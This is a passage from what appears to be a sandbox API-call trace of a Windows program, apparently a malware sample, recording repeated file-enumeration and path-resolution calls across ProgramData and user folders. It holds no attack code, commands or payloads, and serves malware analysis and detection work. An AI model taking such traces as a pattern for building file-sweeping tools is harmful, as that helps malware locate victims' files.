lpFindFileData=0x6cfe73c) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.280] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.281] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.282] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.282] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.282] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.282] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.282] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.283] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.283] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.284] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.285] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.286] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.287] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.287] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.287] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.287] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.287] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.288] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.288] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.288] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.288] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.288] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.289] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.289] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.289] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.289] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.289] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.289] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.290] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.291] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.291] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.291] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.299] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows\\Ringtones", lpFilePart=0x0) returned 0x2a [0095.351] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_44537cea36655398bd69eebd9a7dee1a6ac8b_cab_0598e197", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_44537cea36655398bd69eebd9a7dee1a6ac8b_cab_0598e197", lpFilePart=0x0) returned 0x73 [0095.352] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_c193bce9426b3db6385182a2c5b906baacb9b28_cab_0670ebd4", nBufferLength=0x105, lpBuffer=0x6cfe534, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_c193bce9426b3db6385182a2c5b906baacb9b28_cab_0670ebd4", lpFilePart=0x0) returned 0x75 [0095.353] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows NT", lpFilePart=0x0) returned 0x23 [0095.355] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows NT\\MSScan", lpFilePart=0x0) returned 0x2a [0095.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Sun", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Sun", lpFilePart=0x0) returned 0x12 [0095.437] GetFullPathNameW (in: lpFileName="C:\\System Volume Information", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\System Volume Information", lpFilePart=0x0) returned 0x1c [0095.438] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x6cfe778, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0095.443] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Desktop", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Desktop", lpFilePart=0x0) returned 0x1a [0095.444] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Documents", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Documents", lpFilePart=0x0) returned 0x1c [0095.445] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Favorites", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Favorites", lpFilePart=0x0) returned 0x1c [0095.447] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Keyboard", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Keyboard", lpFilePart=0x0) returned 0x1b [0095.491] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones", lpFilePart=0x0) returned 0x2e [0095.499] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_44537cea36655398bd69eebd9a7dee1a6ac8b_cab_0598e197", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_44537cea36655398bd69eebd9a7dee1a6ac8b_cab_0598e197", lpFilePart=0x0) returned 0x77 [0095.499] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_c193bce9426b3db6385182a2c5b906baacb9b28_cab_0670ebd4", nBufferLength=0x105, lpBuffer=0x6cfe4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue\\NonCritical_x64_c193bce9426b3db6385182a2c5b906baacb9b28_cab_0670ebd4", lpFilePart=0x0) returned 0x79 [0095.502] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT", lpFilePart=0x0) returned 0x27 [0095.503] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan", lpFilePart=0x0) returned 0x2e [0095.552] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.552] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.552] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 